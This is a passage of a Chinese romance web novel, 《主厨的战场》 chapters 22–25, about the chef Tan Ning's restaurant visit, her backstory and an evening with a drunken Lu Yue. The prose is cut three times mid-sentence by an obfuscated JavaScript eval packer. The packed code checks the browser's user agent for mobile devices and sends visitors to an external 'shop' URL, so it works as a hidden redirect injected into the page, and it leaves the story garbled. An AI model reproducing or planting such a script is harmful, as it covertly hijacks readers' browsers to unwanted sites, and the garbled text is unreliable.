店面很大，进门就能看到摆出来满满两排的海鲜：海蛎、花螺、章鱼、蛏子、皮皮虾、石斑鱼……恍若进入了沿海城市的海鲜大排档。 就连点菜的方式也很像，就站在门口对着食材现点，想要什么做法跟服务员说。 池子里活蹦乱跳的海鲜，周围响亮的吆喝声，以及开放厨房里的明亮火焰……感受着如此鲜活的烟火气，谭宁知道这一趟来对了。 可惜的就是一个人来，不能把想吃的都点一遍。她要了一份避风塘梭子蟹、盐焗巴浪鱼和葱油碎螺，外加一个炒粉丝。 点好菜，自己找地方入座。 放海鲜旁边不远处有张桌子，上面的铁桶里装着温热的米汤。海鲜性寒，立牌上写着脾胃不好的客人可以在吃之前喝一碗米汤。 喝着米汤，谭宁迫不及待地拿出手机搜索这家店，把名字输入进去后，发现发帖子的大部分都是自发推荐的食客，甚至一些人都来吃了很多次，把它当作食堂的程度。 谭宁点进那篇点赞最多的帖子，帖主洋洋洒洒写了几百字，句句都是真情流露。 【潮市人来星城好多年了，第一次吃到这么正宗的潮市海鲜，真是原原本本的家乡味。吃了一次以后就老想着来，哪怕从家开车十几公里也要过来，跟身边的亲戚朋友都推荐个遍了。喜欢吃海鲜的人可以闭眼冲，是我在星城吃过最新鲜、种类最全的店！ps：出来的时候遇到了老板，一问果然是潮市人！】 这一篇帖子看下来，直接把谭宁的期待值拉满，就等着上菜后大快朵颐。 先端上来的是那碗炒粉丝。 看上去朴实无华的炒粉丝，里面加了鸡蛋和包菜丝，还有一点点蒜苗叶点缀。 吃饭不能先吃碳水这个理论在谭宁这也就是听听而已，她饿得米汤都喝了两碗，现在是上啥吃啥。 粉丝炒得微微焦黄，入口是干干的焦香，还有一股淡淡的海鲜香，大概是加了鱼粉或者是蟹黄。 趁热连着吃了好几口，谭宁收起筷子，剩下的等菜上齐了再搭配着吃。 谭宁拿出手机打开直播，店内正热火朝天地忙碌着。切回厨师视角，陆跃带着厨师帽在颠勺，橙红色火焰几乎要怼到眼前。 还挺像模像样。 看了个乐呵，谭宁笑嘻嘻地切换软件，把昨晚剪辑好的做菜视频上传上去。 视频容量有点大，上传需要时间。谭宁随手打开了私信箱，下一秒最上面就蹦出一个红点。 【点开查看陆总一手笑料，不好笑不要钱……】 一个激灵，谭宁赶紧点进去，生怕慢一步人家就会撤回似的。 点开，正是早上陆跃在厨房出洋相的那幕。 半晌，餐厅的角落里响起一道扯着嗓子的喊声，像是笑又像是尖叫。就一秒，那道如同惊雷一般的响声马上收了回去。 谭宁一手捂着嘴一手捂着肚子，脸颊通红，弯着腰在座位上抽搐。 笑得肚子都酸了，嘴巴合不拢，谭宁直起身来想喝口水缓缓，余光瞥到桌边站了个人，服务员端着两盘菜直愣愣地盯着她看。 谭宁缓缓抬起头，脸上还热着，她清清嗓子，呆呆地问了句怎么了。 “那个……”服务员试探性地开口：“您是胃疼吗？我们店里有镁片，需不需要我给你拿一粒？” 谭宁眨了眨眼，“啊哈？？？” 23. 《主厨的战场》 店员跟着眨了眨眼睛：“您不是胃疼才……” 呃，那副场面要怎么形容呢。 大概是有个小姑娘突然在座位上发出一声尖锐的鸣声，然后就捂着肚子弯腰趴到桌子底下，全身战栗不止，不时发出痛苦的呻吟。 痛苦？ “不不不。”谭宁连忙摆手，这下脸更红了：“你误会了！我不是胃疼，我是……” 笑猛了…… “总之我真的不是胃疼，你听我说话还中气十足的呢！”谭宁怕她不信，还特意站起来蹦了两下：“你看！” “行……吧。”服务员盯着她面色红润的脸看了半晌，这才把菜放下。临走前还很不放心地交代：“如果有哪里不舒服一定要第一时间叫我。” “好。”谭宁尴尬地笑：“好的。” 等人走后，谭宁往外吹了口气，用手做扇子扇了好几下才感觉周身的温度降下来点。 她这才拿起筷子，开始一一品尝美食。 梭子蟹裹上一层薄薄的面粉下锅干煎，鲜味极大程度地被锁在壳里，又脆又香，金黄的蟹膏肥得流油。 盐焗巴浪鱼撕掉表面的那层皮，沾上潮市特色豆酱，独特的咸香裹着油脂丰富的鲜甜鱼肉，口感十分丰富。 辣螺敲碎烫熟，淋上葱花蒜末红椒丝，再泼入热热的沸油，吃进嘴里是鲜甜中带着微微的辛香，越吃越上头。 三道菜各有特色，配上朴实无华的炒粉和米汤，所有的风味都毫无保留地展现出来。谭宁的额头和后背出了一层薄薄的汗，满足得不得了。 分量很大，谭宁嗦完最后一个梭子蟹，低头一看，肚子已然鼓成一个圆滚滚的小皮球，牛仔裤的拉链都被撑的往外蹦。 许久没有吃得这么撑，谭宁还没意识到问题的严重性。一个猛的站起，马上又跌坐下去。 “哎哟！” 谭宁轻喊出声，肚子里的东西随着动作又翻炒了一遍，这下是真有点难受了。 大概是因为前面的乌龙，谭宁成了店里的重点关注对象，刚坐下没一会儿，就有店员跑到她面前。 关心道：“怎么了？没事吧？” 搞得谭宁想把刚刚挖的地洞找出来钻进去，奈何肚子实在是难受，此时也顾不上什么面子不面子的了。 她撑着额角，咬着牙说：“那个……我可能需要一粒健胃消食片，你们有吗？” “有！”店员收到指令，哒哒哒地跑到前台，又哒哒哒地跑回来，从一板消食片里挤出一片出来递给她。 “来，给你。” 谭宁接过来含在嘴里，酸酸甜甜的药片在舌头上慢慢化开，她抬头说了句谢谢。 “不客气。”店员笑笑，很体贴地说：“您坐着休息一会儿吧，餐盘先给您撤了。” “好，谢谢。” 这样一来，倒给了谭宁更加充足的机会来观察店里的经营情况。 在星城这样一个无辣不欢的城市开一家潮市海鲜店，本身就是件不简单的事，而琇海记坚持了很多年。 谭宁注意到，这里有些服务员上肢或者下肢部分有一些残疾，行动上难免有些不那么方便。但无论是店长还是客人，都没有催促和不满。这些服务员脸上也总是挂着感染力十足的微笑，对生活充满希望的样子。 世界日新月异，各行各业都在强调创新，但谭宁觉得，在餐饮行业，最重要的恰恰是坚持。 这份坚持，并不是固步自封，冥顽不灵。 人有记忆，舌头亦是。隽永的味道是需要时间沉淀的，太过追求市场潮流反而容易在洪流中迷失自我。 就像这家琇海记，一开始在巨大的市场里或许会显得格格不入，但它并没有因此而舍弃自己迎合市场，在困难的时候还能关怀他人，最后才能以一种最朴实的姿态原原本本地展示在大家面前。 而这份朴实往往最打动人心。 谭宁始终相信好的味道是不会被埋没的，守得住寂寞，方能见到被照亮的那一天。 这趟临时起意的行程让谭宁收获颇丰，在学习的同时也给自己吃了定心丸。心急吃不了热豆腐，话虽老，道理却不老。 离开时经过厨房，谭宁看到里面有位戴着厨师帽的女士正在指挥出餐，动作快速而优美，却不显一丝急躁。说话做事风风火火，表情却十分温柔可亲。 在一众高大的男性厨师面前，她虽个子不高却有一种温柔的力量，令人信服。谭宁在不远处驻足欣赏了许久，准备离开时，却不经意和她对上眼神。 谭宁愣在原地，有种偷看被人抓包的局促感。不料对方却对她弯了弯眼睛，虽然戴着口罩，但谭宁知道她在对她笑。 于是她也回以微笑，然后心满意足地转身离开了店里。 - 经过一上午的锻炼，陆跃已经基本适应了店里的节奏，晚上的出餐速度蹭蹭上涨。 虽然总有些不确定的地方需要不时询问一下王师傅，但不管怎么说比上午还是好太多了。 不过这也和晚上顾客减少有关。 上午看那人多的架势原以为要搬救兵，但到晚间人流量就明显少了些。一是因为盲盒的热度渐渐散去，二是以这条潮人街的定位，中餐还是没有法餐那样吸引人。 陆跃嘴上不说，心情还是难免有些低落。 人都怕对比，但做比较又是一种可怕的本能。尤其是当比较对象是谭宁的时候，陆跃会使出十二分的力气，尽管现在他们之间并不是竞争关系而是合作关系。 高中的陆跃一开始其实并不是多认真念书的类型，男孩多数都开智晚，而诱惑的东西又太多。游戏、漫画、模型、赛车……不管哪个拎出来都比书本有意思。 陆跃从小就野惯了，被爷爷陆山收的几个年轻徒弟们带着一起玩，那是一天一个花样，都不带重复的。 那时候陆家家底没现在厚，陆继年和胡琇都忙着打拼事业，对陆跃基本是处于放养状态。 胡琇还好点，不时还问一问冷暖和功课。陆跃那时和他爸陆继年最不对付，正是血气方刚的时候，偏偏陆继年还是个暴脾气，三句话不对付就要上手的那种。做厨师的人，手跟棒槌差不多粗，一巴掌下去，印子要三天才能消。 陆跃贪玩是贪玩了点，好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537081|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歹占了个头脑灵活。小事糊弄糊弄就算了，大事上总归是没掉过链子。 于是在初中毕业考上市重点后，陆跃又是一如既往的放飞自我了。 本来准备延续以往作风至少等到高二下再努力的，谁知半路遇到谭宁这把猛火，直接把他好胜的心给点燃了。 打结下梁子以后，自然是哪哪都看对方不顺眼，经常做一些幼稚的小动作来恶心对方。 比如今天课间休息谭宁往后传练习册的时候动静太大把趴在桌子上睡觉的陆跃吵醒了，那么上课的时候陆跃的桌子就会不断地往前挤，非要听到前面传来怨气十足又不敢大声喊出来的闷哼才罢休。 两人你来我往，谁都不肯后退半步。 但这都只是小打小闹，按理说陆跃这种混不吝不该在学习上和谭宁较上劲的，可偏偏当时在一次考试大失误后被班主任指给谭宁当小徒弟了。 看着谭宁每天以一副师傅的高傲姿态自居，还用他最引以为傲的理科科目来碾压他，就问谁受得了这种羞辱？ 就这样，陆跃一个平时回家连书包都不背的主突然间开始发奋图强。游戏不打了，动漫也不追了，放假朋友问他在家干嘛，他说在刷题，给人吓得以为他鬼上身了。 谭宁赶在打烊前回到店里，照例为明天的营业做些准备工作。 到的时候摄像已经关了，店里正在做清扫。 七喜看到她蔫蔫地抬头打了个招呼：“谭宁姐，你好啊。” “辛苦啦～我来帮你。”谭宁走过去接过她手里的拖把，说：“我看今天人也好多，你肯定累坏了，去坐着休息会儿。” 七喜搂着她的腰，依赖地往上蹭了蹭：“还是你对我好～” 谭宁刚要摸她的头以示安慰，她蹭的一下直起身子，语气又欢腾起来。 “但我明天放假！耶！！！” “你真是。”谭宁摇头失笑，一边干活一边问：“今天营业额怎么样？比昨天高吗？” “没。”七喜摇摇脑袋：“还降了点呢。” 说着她环顾四周，悄悄凑到她耳边：“听说陆总因为这事心情不太好，现在还在厨房跟自己较劲。” “是吗？” 询问间，谭宁的眼神已经飘向那间厨房，昨晚她也是站在同样的地方望过去，只是现在里头静悄悄的。 “总归你今天别去触霉头为好。”七喜好心地提醒她。 “嗯。”谭宁缓缓收回眼神：“知道了。” 帮七喜拖完地谭宁便进了西厨房，再抬头时是被陆跃敲门。 他穿着白色的厨师服靠在门边，一只手插在兜里，另一只手举着瓶红酒，头发垂下遮住半只眼，懒懒散散又有些疲惫的样子。 嗓音带着点被磨过的哑：“本少爷请你喝酒，喝不喝？” 除了在镜头里的那一眼，谭宁还未曾在现实中见过他穿厨师服。 精确的剪裁将他的好身材毫无保留地勾勒出来，宽肩窄腰，袖口高高挽起，青筋顺着手臂内侧一路延伸，被衣服盖住的地方有一块微微隆起的肌肉。 谭宁突然很想扑上去咬一口。 24. 《主厨的战场》 这个一闪而过的念头让谭宁吓了一跳，脑海里却迅速浮现出画面来。 谭宁感觉自己像开了透视眼似的，此刻陆跃站在自己面前像是一丝、不挂。网上都说灰色运动裤就像男人的黑、丝，对女人有着致命的吸引力。 这身厨师服在陆跃身上大概也是同样的效果。 她不知道为什么会变成这样，到底是从什么时候开始，只要一看到陆跃脑子里的黄色废料就像被打开了阀门一样，不受控制地喷涌而出。 “喝不喝？”许久等不到回复，陆跃耐着性子又问了一遍。 谭宁骤然间回过神来，陆跃已经站在她面前，皱着眉，看上去心情就不太好。 这是要借酒消愁？ “我不喝。”谭宁扭过头继续忙自己的，薄薄的眼皮下睫毛眨呀眨。 陆跃啧了一声，把酒瓶怼到她面前：“你可看好了，我好不容易从老爷子那儿顺来的好酒，就这一瓶。以后你要是再想喝，可就没了。” 谭宁到底是懂货，一眼就看出是Leroy的干红，想到上次喝还是刚去巴黎不久，就那么一小杯，无与伦比的丝滑浓郁，以及果香和花香交融的口感至今都忘不了。 谭宁艰难地松开下唇，还是拒绝：“我明天还要上班，你自己喝吧。” “不是吧。”陆跃颇为无语地盯着她看：“你一杯倒啊？” 谭宁没忍住翻了个白眼，还一杯倒，老娘的酒量说出来吓死你！ 看着陆跃这副死缠烂打实在想喝的样子，谭宁犹豫了一下，说：“本主厨今天心情好，可以送你一道菜配红酒。” 陆跃眼中有个光点闪过：“什么菜？” 谭宁抿唇浅笑，卖了个关子：“就说要不要。” 陆跃两只手往后撑在台面上，偏过头看她：“你这是强买强卖？我可没钱给你。” “不收你钱。”谭宁说。 “你还想放假？”陆跃陡然提高音量：“那还不如收我钱呢！” “行啊。”谭宁生了都逗弄他的心思：“那这道菜先收你两百块。” “多少？二百？？你抢钱啊！” 一提到钱，陆跃是头不晕了腿不疼了原生家庭不痛了，累积了一天的郁闷也奇迹般的消失了。 能蹦能跳能嚷嚷，还能吃下两碗饭。 “你还做什么厨师啊，直接改行去当土匪吧！抢完回来再投我店里，也算反哺了！” 谭宁乐得咯咯笑，“谁要投你店里啊，我要有钱肯定自己开个店呐！而且就专门选在对面，天天跟你打擂台！” 陆跃愣了两秒，敛神问她：“你打算自己开店啊？” 谭宁看了回去：“当然了！不然你以为我现在每天累死累活是为什么？还不是为了节目最后的那笔奖金啊！” …… 陆跃的心情有点复杂，他想说些什么，却怎么也说不出口。明明话到嘴边，却总觉得不合适，于是这块烫嘴的肉又生生被他咽了下去。 节目录制时间是三个月，而现在才刚刚过去两周不到。只因为谭宁的一句话，头顶的时钟突然开始恐怖的倒计时，嘀嘀嗒嗒不停响着，弄得人焦燥不已。 习惯是一件很可怕的事情，尽管他不愿意承认。 谭宁感觉到周围的空气好像瞬间凝滞住了，刚要说些什么就听到啵的一声，陆跃打开了那瓶酒。 他转过身从柜子里拿了个酒杯，浆果的红色沿着杯壁倾洒而下，空气里瞬间飘满了酸酸甜甜的小分子。 陆跃仰头，一口便喝完一杯酒。喉结上下滚动，他用手背蹭掉嘴角边的酒渍，说：“行，你做菜吧，我就在旁边看着。” 谭宁十分反感他这样把红酒当啤酒吹，暴殄天物的做法。但这毕竟不是她的酒，她没权利置喙。 只能轻啧一声，说：“你少喝点吧。” 陆跃掀了掀眼皮，又给自己倒了一杯。 谭宁没眼再看下去了，怕自己会忍不住揍他。她转身从里间拿了块牛肉出来，开始做这一份下酒菜。 肥瘦各半的牛肉片成薄片，放入碗里用盐、肉桂粉和橄榄油抓匀。苹果洗净后切片，一层肉一层苹果片这样交叠放置着一起腌制半小时。 谭宁给碗封上保鲜膜，抬头听到陆跃问她：“你准备开什么店？还是做法餐？” “对啊。”谭宁把碗放到一边，习惯性地开始擦台面：“我学的就是法餐，不做这个还能做什么？” “但……”陆跃顿了顿：“你中餐做的也还行啊。” 谭宁翻了个白眼：“你也说了是还行。” 还行和专业，那能一样吗？ “我……”陆跃又改口：“比还行好那么一点点。” 谭宁不耐烦地挥挥手：“都一样！我还是对法餐更有把握一点，虽然我也很喜欢中餐，但总归只是业余。没有正规学过，我没那个底气。” 这不是自谦，而是实事求是。 一开始谭宁只是把做饭当成一种解压方式，并没有想过日后要去当厨师。 谭宁本科学的是环境科学，没错，就是被网友称为四大天坑专业之一的环境科学。 她高考稳定发挥，六百五的分数可以挑个很不错的985。当时周敏华和谭正和都想让她报热门专业计算机，谭宁却死活不乐意。 威逼利诱软硬兼施，当了十八年乖乖女的谭宁这回就像吃了秤砣，铁了心要自己选。 十几年来以来就叛逆这么一回，以为是自己掌控自己人生的爽文，现实却是刚上了一个星期的学，谭宁就萌生了转专业的冲动。 学之前以为自己是守护地球的伟大卫士，干净的蓝天、澄澈的湖水全靠自己这双手来创造，结果是无尽的取样、监测、写报告。以为地球的环境没我不行，结果是问题越查越多，办法一点没有。 学得越多，反而越焦虑。 但当初这专业是顶着全家的反对自己选的，如果现在说要换专业，那就等于变相承认自己的选择是错的，谭宁这么一个要强的人，不到万不得已绝不可能踏出这一步。 于是正好应了那一句：自己选的路，哭着也要走下去。 然而他们这个专业就两个出路，要么转行要么一直读到底。 对于普通家庭来说，转行也就是去考公。谭宁很快否决掉了第一种可能，选择和同期一起卷保研。 在南大这么一个佼佼者汇集的地方，又是这样一个专业，保研的竞争可想而知的激烈。为了保持高绩点，成绩就不能落下，为了其他的加分项，还要牺牲很多个人的时间去做项目。 她就像一根被迫绷紧的弦，持续不断地往上加砝码，每当想要破罐子破摔的时候，就会想到之前牺牲种种都将付之东流。 但弹性再大的绳子也有承受不了断裂的那天。 有天做完实验回来她饿得受不了随手抓起桌上的东西吃完后爬上床就昏睡过去。半夜被肚子疼醒，整个人天旋地转，全身都是冷汗。 后来实在扛不住了被室友送到医院，医生一问才发现晚上吃的那点东西都过期半年了。吃了变质食物，又长期处于高压状态导致免疫力低下，这才引起的急性肠胃炎。 凌晨的医院，她坐在走廊冰冷的椅子上挂水，眼神空洞，只有无尽的疲惫和乏力。 住院的家属从外面买来一碗炒粉在旁边吃，谭宁闻着碗里飘来的葱香和油香，莫名其妙的就掉了眼泪。 活着到底是为了什么呢？谭宁第一次对自己产生了怀疑。 以前为了减肥一直抑制食欲，每天饿得抓心挠腮没个人样。好不容易减下来了也不敢胡吃海喝，生怕哪天又胖回去。 现在面临现实和理想的差距，她只能混沌的随大流，莫名其妙开始和自己较劲，弄到这般狼狈境地，却完全不清楚努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541175|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意义在哪里。 那一刻，谭宁脑中突然闪过一张模糊的脸，午后的阳光从玻璃窗照进来，他整个人都沐浴在融融的暖黄之中，柔软得不像话。 可笑容又是那样热烈张扬，让人挪不开眼：“想那么多干嘛？人生短短三万天，高兴一天是一天咯！” 是啊，人生如此短暂，何必要为了这些虚无的东西一直压抑自己呢？ 想吃的想玩的想体验的，这些或许以后都会有，可仅此一次绚烂无比的二十岁却再也不会重来了。 谭宁不想未来的某一天自己回想起大学生活，脑子里只有实验论文绩点和难熬的夜。 她就在这样一个瞬间突然想通，豁然开朗。 改变的第一步，那就从好好吃饭开始。 病好之后，谭宁不时就会去校外探店，用美食来犒劳自己。吃得多了，倒也像半个专家。有次她常去的一家店把山茶油换成了菜籽油，竟然被谭宁吃出来了。 她问老板是不是换油了，老板还挺惊讶，解释说山茶油没有了，所以才临时换成了菜籽油。 “你这舌头还挺灵啊！”他笑着夸她。 老板是个很有个性的男生，从大厂辞职回来开饭店。明明年纪不大，却留着络腮胡，心情好的时候还会拿起吉他弹唱两首，大概也有一颗文艺心。 谭宁和他算是不打不相识，一来二去的，两人也成了朋友。每次上新前老板都会做一些试吃送给顾客让他们提意见，大多数人说完好吃也就过了，没什么有效建议。 而谭宁却特别当回事，认真地尝，尝完以后还会写篇小作文发给老板，上面写的全是自己的感受和改进建议。关键是，有些建议还真的被采纳了。 有回坐店里聊天，老板开玩笑地说：“感觉你还挺有天赋的，有没有想过去当厨师？” 谭宁愣住了，指着自己：“我？” 当时谭宁的确是没有想过，厨师跟她的规划实在相去甚远，她也只把探店吃饭当作一种消遣。 老板笑了笑：“你这么会吃，难道不想尝尝自己做的菜吗？” 老板的话在谭宁心中种下了一颗种子，回去以后便有些跃跃欲试。 后来是放假回了家，她按照网上的食谱买了相应的食材，在厨房捣鼓了一下午，竟然真的像模像样作出一桌菜来。 谭宁至今都记得那个下午她系上围裙，拿起厨具，感觉是那么的轻盈和自在。咚咚咚的切菜声，咕嘟咕嘟的烧水声，还有滋滋的煎炒声……谭宁沉浸在这些美妙的音符里，感觉自己像是个翩翩起舞的仙女。 这份感觉实在太奇妙了，给她带来过去二十年时间里从未曾有过的惬意和畅快，有过一次就再也忘不了。 做菜就这样慢慢从一种闲暇时的消遣方式变成了她生活中不可或缺的一部分。 直到后来去参加厨师大赛，那时她已经将做菜纳入到她的职业规划里。 当时做的一直是中餐，也幸运地获得了不错的名次。 但中餐是非常讲究传承的行业，如果找不到一个好的师傅很难入行。中餐后厨不收女生基本上是一种不成文的规定，因为大部分的女生的确没有男生力气大，在大炮台上使用铁锅会很吃力。 谭宁也遇到了同样的问题，而这次她并没有一犟到底。既然她选择了要做厨师，无论是中厨还是西厨，她都愿意去学。人生是旷野而不是轨道，中厨和西厨之间也并没有完全的壁垒。 她知道自己作为一个没有系统学习过的新手，离真正的主厨之间还有非常遥远的距离。既然当下没有足够的能力支撑，那不如就从能够到的那根树干开始慢慢往上爬。 终有一天，她会爬到这棵参天大树的最顶部。 谭宁从来没有怀疑过这个决定的正确性，往前走，绝不回头，这是她的座右铭。 只要目标不移，走些“弯路”又如何呢？ 25. 《主厨的战场》 陆跃在心里惊讶了一瞬，她竟然也会有没底气的时候。看她每天一副使不完的牛劲样儿，他还以为她自信心爆棚，天底下都没有她不敢的事呢！ 谭宁对上陆跃的眼睛，歪了歪头说：“我现在不敢又不代表以后不敢，日子还那么长呢。” 她说这话时莫名有种霸气十足的狠劲，好像一切都尽在掌握之中似的。 但陆跃知道，真要做起来没那么轻易。 “这么说，你有做中餐的想法？” “当然。” 中餐是她的根，她不可能舍弃的。 “那还不简单。”陆跃一下嘴快说：“以后你留在辣椒碰头，我可以……” “可以什么？”谭宁问他。 “可以……”陆跃喉结滚动，眼神一暗：“可以让王师傅教你做中餐。” “切！”谭宁扭过头去：“还用得着你让！我自己不能去问他？” “啧。”陆跃不满地拍了下她的发顶：“有没有点规矩，拜师不要介绍人的？你要是真拜王师傅为师，我就是你的直系师兄，没大没小。” “走开啊！”谭宁举起拳头作势要揍他，陆跃被唬得往后躲：“我呸！就你还师兄呢！读大学的同门师兄好歹还帮我看看反应器，陆跃你做过什么？不是压榨我就是要扣我钱，去你的狗屁师兄！” “嘿！”陆跃十分不服气：“我什么压榨过你？什么时候真的又扣过你钱？开玩笑听不出来是吧？” “听、不、出、来！”谭宁抬抬下巴：“而且你只是现在没扣，以后谁说得准！” “呵！”陆跃真是被气笑了，指着她：“行！那我现在就扣给你看！” “你敢！”谭宁一下子立起身子，眼神警告：“那我就把你的恶劣行径曝光，让网友骂死你！” 琥珀色的眼珠上下打量着她，而后淡淡说了句：“幼稚。” “你才幼稚！你最幼稚！”谭宁不肯罢休：“还说我呢，你先把自己的店开好再说吧！不然等我开起来，你就只有被我逐出市场的份！” 摇晃酒杯的手突然停下，他突然觉得自己的想法十分可笑，谭宁向来眼高于顶，怎么可能愿意委身在他的小店呢？ 陆跃低头扯了扯嘴角没有说话，只是自顾自的品酒。 谭宁一个人没戏可唱，最后哼了一声接着做菜去了。 起锅开火，放入一块黄油。等奶香味完全释放出来后，把腌好的牛肉薄片放进去煎，煎到边缘微微翘起再翻面煎另一面。 肉不需要煎到全熟，保留一部分汁水，这样更加Q弹软嫩。 煎好的肉夹出，苹果片对半切开也放入锅里煎烤上色。 食材准备好，开始摆盘。 两片苹果中间夹着一片肉，从侧面看起来像是一块千层蛋糕，最后摆上一片薄荷叶当作装饰，这道苹果煎肉就做好了。 谭宁把餐盘往前一推，伸手：“好了，尝尝吧。” 黑色的磨砂圆盘里，微微焦黄的肉片叠着红色的苹果，独特的肉桂香和果香扑面而来，看上去就十分诱人。 陆跃拿起旁边的筷子，苹果片垫着肉一起送入嘴中，一口咬下去，酸甜的汁水从果肉迸发而出，搭配上肌红蛋白的肉汁，一口、爆浆。一下子像是穿越到了热带雨林，裹着草裙在雨林间肆意穿梭，爽口又清新。 搭配上浓郁的红酒又是另一重口感的升华。红酒的单宁口感使得牛肉的纤维柔化，肉质更加鲜嫩，红酒的酸涩也中和了一部分油脂的腻味，使得这道菜更加耐品。 陆跃一口肉一口酒，很快就解决完了这一盘，连带着酒也喝去半瓶。 他放下筷子，擦完嘴后十分难得地说了句不错。 背对着他在干活的谭宁扭过头来：“都说了没骗你吧！还不信我！” “嗯。”陆跃点了点头，腿稍稍伸直就从那张高凳上站了起来，他把餐盘和杯子拿到水池边清洗。 透明水柱打在餐盘上，沿着边缘往外飞。 “喂！”谭宁喊他：“洒到我身上了！” 陆跃看了她一眼，却依旧我行我素。谭宁气不过，眼疾手快地伸到水龙头下抓了一把水，张开手就往他脸上弹。 “谭！宁！”陆跃大喊一声：“你洒到我眼睛里了！” 谭宁哈哈大笑，歪头去找他的脸。 陆跃闭着眼，水滴顺着他的眼窝往下滑，在高挺的鼻梁上拐了个弯，最后在泛着点点青黑的下巴上失去踪影。那里好像是一片草地，把水都吸干了，再往下看，是起伏的小山。 谭宁愣愣的观察着，四周是那么安静，一切好像都睡着了似的。不知过了多久，等她再往上看去时，陆跃已经睁开了眼，深邃的眼睛里好似有一汪汹涌潮湿的海水。 晚上的海是漆黑一片，深不见底的。 谭宁应该躲开，她心里清楚的知道，可她没办法。这片致幻的海好像有磁铁一样，紧紧地吸着她让她走不动路。 醇香的葡萄酒笼罩着两人，谭宁感觉自己好像也喝醉了。 “你怎么……”陆跃呼吸间都是酒的香甜，声线低哑。 谭宁回过神，慌乱地从抽了几张纸扔给他，“擦擦吧，都流到……” 陆跃一下子抓住了她的手。 他掌心烫得像一块烧红的铁，此刻牢牢地包着她，谭宁吓得一抖，似乎有电流从全身穿过。 “怎……怎么了？” 她抬头望去，陆跃的脸颊不知何时攀上两团酡红，本就勾人的桃花眼此刻更加潋滟迷离。 谭宁的脸蹭的一下就红了。这小子到底要干嘛！不都跟他说了自己是要打拼事业的女人，怎么还屡屡来扰乱军心！ “陆跃！”谭宁偏头不去看他，咬牙挣扎着。可这人力气竟出奇的大，谭宁挣脱不开，只能大喊：“你放手！” 话音刚落，那只手突然用力，谭宁猛地被带到他身前。她的脸毫无防备地贴向他的胸膛，潮热的呼吸喷洒在头顶，谭宁大脑瞬间一片空白。 “别晃……”胸腔微微震动着，低沉浑厚的嗡嗡声好像就贴在她耳边。尾音上扬，听起来竟然有些缱绻：“我头晕。” “啊？”谭宁终于觉察出不对劲来，盯着他泛红的眼尾看了半天，试探性地问道：“陆跃，你是不是喝醉啦？” “没……没有啊。”陆跃垂眸，表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549249|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情有些呆呆的，谭宁感觉自己面前站的不是人，而是一只毛茸茸的大狗。 对，他可不就是狗吗？ 她噗嗤一下笑出声，反过来抓着他的胳膊：“你都大舌头了，还说没喝醉。真是服了你了，还说我一杯倒，你自己才是吧！” “胡说……” 陆跃被她扯着往前走，这个姿势一点都不舒服，他突然停下，谭宁被反作用力弹了回来，又撞到他身上。 “啊！”谭宁这回真被惹毛了，她捂住鼻子，大眼睛里全是疼出来的泪花，“陆跃！你还有完没完了！再这样老娘真不管你了！” 陆跃闻言眨了眨眼睛，蒙着薄雾的瞳孔盯着她看了半晌，举起另一只手朝她逼近。 “干嘛！你要干嘛？”谭宁看着离她越来越近的巴掌，往后躲：“说你两句还要上手是不是？嘿！陆跃！你是不是要上天啊……唔……” 谭宁没说完的话全被他干燥的手掌包住，那股浓郁的葡萄酒香再次将她包裹，带来密不透风的潮湿。 “吵死了。” 陆跃捂着她的嘴，弯下腰和她齐平，眉头因为不耐而微微蹙起，眼睛、嘴唇上都泛着糜烂的红。 他挑了挑眉，商量的语气：“我把你放开，你安静点，行不行？” 话从左耳到右耳，在脑中短暂地过了一遍，谭宁已经完全失去思考了，灵魂就在天上飘啊飘。 “嗯？”陆跃没听到回复，皱着眉向她靠近，再近一点，他的鼻尖就要抵上来。 太近了，真的太近了。 谭宁在最后关头偏头躲开，牙关一松，狠狠咬住他的手。 “啊啊啊啊！”陆跃疼得一下子弹开，谭宁松开嘴，抹去嘴边的水渍。 陆跃大喊：“狗啊你！快送我去打狂犬疫苗！！！” 对上陆跃幽怨的眼神，谭宁恶狠狠的冲他龇牙。 “该打疫苗的人是我！” 谭宁走上前，不由分说地把他的手搭在自己肩膀上。陆跃还想抗拒，啪的一下，她的手掌打在他胳膊上，半个红印就浮现出来。 “你给我老实点，小心我再咬你一口！” 陆跃的头软软地靠在她肩上，不敢再说话，只是弱弱地哼了一声。 这还差不多。 谭宁不再说话，抱着他的腰深一步浅一步的往外走。店里有个临时的休息室，她准备把他扶到那儿去躺着。 陆跃彻底卸下力气，像滩烂泥似的往她身上倒，沉重的头靠在她肩上。粗硬的头发扎在她细嫩的脖颈间，和灼热的呼吸一道，很快将那块皮肤蹂躏成可怜的粉红色。 